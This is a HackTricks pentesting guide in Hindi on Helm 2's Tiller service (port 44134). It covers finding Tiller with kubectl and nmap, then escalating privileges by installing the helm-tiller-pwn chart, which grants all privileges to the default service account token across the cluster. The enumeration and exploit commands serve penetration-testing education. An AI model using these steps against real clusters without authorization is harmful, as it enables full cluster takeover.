hacktricks/src/network-services-pentesting/44134-pentesting-tiller-helm.md

58 lines
5.0 KiB
Markdown

{{#include ../banners/hacktricks-training.md}}
# मूल जानकारी
Helm Kubernetes के लिए **पैकेज प्रबंधक** है। यह YAML फ़ाइलों को पैकेज करने और उन्हें सार्वजनिक और निजी रिपॉजिटरी में वितरित करने की अनुमति देता है। इन पैकेजों को **Helm Charts** कहा जाता है। **Tiller** वह **सेवा** है जो डिफ़ॉल्ट रूप से पोर्ट 44134 में चल रही है और सेवा प्रदान कर रही है।
**डिफ़ॉल्ट पोर्ट:** 44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# Enumeration
यदि आप विभिन्न नामस्थान के **पॉड्स और/या सेवाओं को सूचीबद्ध कर सकते हैं**, तो उन्हें सूचीबद्ध करें और उन लोगों की खोज करें जिनके नाम में **"tiller"** है:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
उदाहरण:
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
आप इस सेवा को चलाते हुए पोर्ट 44134 की जांच करके भी खोजने की कोशिश कर सकते हैं:
```bash
sudo nmap -sS -p 44134 <IP>
```
एक बार जब आप इसे खोज लेते हैं, तो आप क्लाइंट हेल्म एप्लिकेशन डाउनलोड करके इसके साथ संवाद कर सकते हैं। आप `homebrew` जैसे टूल का उपयोग कर सकते हैं, या [**आधिकारिक रिलीज़ पृष्ठ**](https://github.com/helm/helm/releases)** को देख सकते हैं।** अधिक विवरण के लिए, या अन्य विकल्पों के लिए, [स्थापना गाइड](https://v2.helm.sh/docs/using_helm/#installing-helm) देखें।
फिर, आप **सेवा की गणना कर सकते हैं**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Privilege Escalation
डिफ़ॉल्ट रूप से **Helm2** को **namespace kube-system** में **उच्च विशेषाधिकार** के साथ स्थापित किया गया था, इसलिए यदि आप सेवा को खोजते हैं और इसके लिए पहुंच रखते हैं, तो यह आपको **विशेषाधिकार बढ़ाने** की अनुमति दे सकता है।
आपको बस एक पैकेज स्थापित करने की आवश्यकता है जैसे: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) जो **डिफ़ॉल्ट सेवा टोकन को पूरे क्लस्टर में सब कुछ तक पहुंच प्रदान करेगा।**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) में आपको **हमले का विवरण** मिलेगा, लेकिन मूल रूप से, यदि आप _helm-tiller-pwn/pwnchart/templates/_ के अंदर [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) और [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) फ़ाइलें पढ़ते हैं, तो आप देख सकते हैं कि **सभी विशेषाधिकार डिफ़ॉल्ट टोकन को दिए जा रहे हैं**
{{#include ../banners/hacktricks-training.md}}